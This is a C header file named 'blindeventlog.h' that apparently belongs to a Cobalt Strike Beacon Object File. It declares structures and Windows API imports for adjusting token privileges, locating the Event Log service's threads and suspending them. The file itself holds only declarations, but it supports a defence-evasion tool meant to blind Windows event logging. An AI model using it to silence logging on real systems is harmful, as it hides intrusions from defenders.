blindeventlog.h 4.2 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283
  1. #include <windows.h>
  2. #define ENABLE 1
  3. #define DISABLE 0
  4. typedef enum _SC_SERVICE_TAG_QUERY_TYPE {
  5. ServiceNameFromTagInformation = 1,
  6. ServiceNameReferencingModuleInformation,
  7. ServiceNameTagMappingInformation,
  8. } SC_SERVICE_TAG_QUERY_TYPE, *PSC_SERVICE_TAG_QUERY_TYPE;
  9. typedef struct _SC_SERVICE_TAG_QUERY {
  10. ULONG processId;
  11. ULONG serviceTag;
  12. ULONG reserved;
  13. PVOID pBuffer;
  14. } SC_SERVICE_TAG_QUERY, *PSC_SERVICE_TAG_QUERY;
  15. typedef struct _CLIENT_ID {
  16. DWORD uniqueProcess;
  17. DWORD uniqueThread;
  18. } CLIENT_ID, *PCLIENT_ID;
  19. typedef struct _THREAD_BASIC_INFORMATION {
  20. NTSTATUS exitStatus;
  21. PVOID pTebBaseAddress;
  22. CLIENT_ID clientId;
  23. KAFFINITY AffinityMask;
  24. int Priority;
  25. int BasePriority;
  26. int v;
  27. } THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;
  28. //SetPrivilege
  29. DECLSPEC_IMPORT BOOL WINAPI Advapi32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
  30. DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();
  31. DECLSPEC_IMPORT BOOL WINAPI Advapi32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
  32. DECLSPEC_IMPORT BOOL WINAPI Advapi32$AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
  33. DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);
  34. //Eventlog
  35. typedef ULONG (WINAPI * I_QueryTagInformation_t)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
  36. typedef NTSTATUS (WINAPI * NtQueryInformationThread_t)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
  37. DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenSCManagerA(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess);
  38. DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess);
  39. DECLSPEC_IMPORT BOOL WINAPI Advapi32$QueryServiceStatusEx(SC_HANDLE hService, SC_STATUS_TYPE dwInfoLevel, LPBYTE lpBuffer, DWORD cbBufSize, LPDWORD pcbBytesNeeded);
  40. DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
  41. DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD th32ProcessID);
  42. DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
  43. DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
  44. DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$Thread32Next(HANDLE, LPTHREADENTRY32);
  45. DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId);
  46. DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
  47. DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsWow64Process(HANDLE hProcess, PBOOL Wow64Process);
  48. DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SuspendThread(HANDLE hThread);
  49. DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread(HANDLE hThread);
  50. WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *str1, const wchar_t *str2);
  51. WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
  52. WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
  53. //BeaconPrintToStreamW + BeaconOutputStreamW
  54. #define MAX_STRING 8192
  55. INT g_iGarbage = 1;
  56. LPSTREAM g_lpStream = (LPSTREAM)1;
  57. LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
  58. DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
  59. WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
  60. WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
  61. WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
  62. WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
  63. WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
  64. WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
  65. WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
  66. WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
  67. DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);